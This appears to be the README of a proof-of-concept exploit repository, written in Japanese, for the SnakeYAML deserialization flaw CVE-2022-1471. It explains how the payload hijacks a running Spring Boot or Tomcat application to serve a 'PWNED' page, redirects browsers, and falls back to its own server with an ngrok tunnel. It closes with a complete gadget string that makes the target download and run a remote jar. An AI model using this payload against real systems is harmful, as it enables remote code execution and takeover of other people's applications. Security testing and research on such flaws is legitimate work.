yaml-payload

CVE-2022-1471 向けの SnakeYAML デシリアライゼーション悪用ペイロードです。artsploit/yaml-payload を基に改変しています(元は mbechler/marshalsec に基づく)。

動作内容

SnakeYAML の安全でない Yaml.load() で読み込まれると、このペイロードは実行中のアプリケーションを乗っ取り、"You've Been PWNED" ページに置き換えます:

1. Tomcat Valve を注入 — リフレクションを介して実行中の Spring Boot アプリに Tomcat Valve を注入し、既存のポート 8080 を乗っ取ります。同じ URL(ngrok トンネルを含む)が PWNED ページを配信するようになります
2. ブラウザを自動リダイレクト — POST レスポンスが 302 リダイレクトを送信するため、手動で更新しなくてもブラウザは即座に PWNED ページを読み込みます
3. ブラウザを自動的に開く — 正しい URL(利用可能な場合は ngrok 公開 URL、それ以外は localhost:8080)を開きます
4. 悪用の証拠を出力 — コンソール/CI ログに出力します

Tomcat Valve の注入が利用できない場合(例: Spring 以外のアプリ)は、ポート 9999 でスタンドアロンの HTTP サーバーを起動し、ngrok が実行中であれば ngrok トンネルを自動的に作成するフォールバックに切り替わります。

これは macOS 上のローカルと CI/CD パイプライン(例: Ubuntu 上の GitHub Actions)の両方で動作します。

エクスプロイトチェーンの仕組み

SnakeYAML ペイロードは、Java SPI(Service Provider Interface)を介して ScriptEngineManager をトリガーします:

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sean-org/yaml-payload/main/yaml-payload.jar"]]]]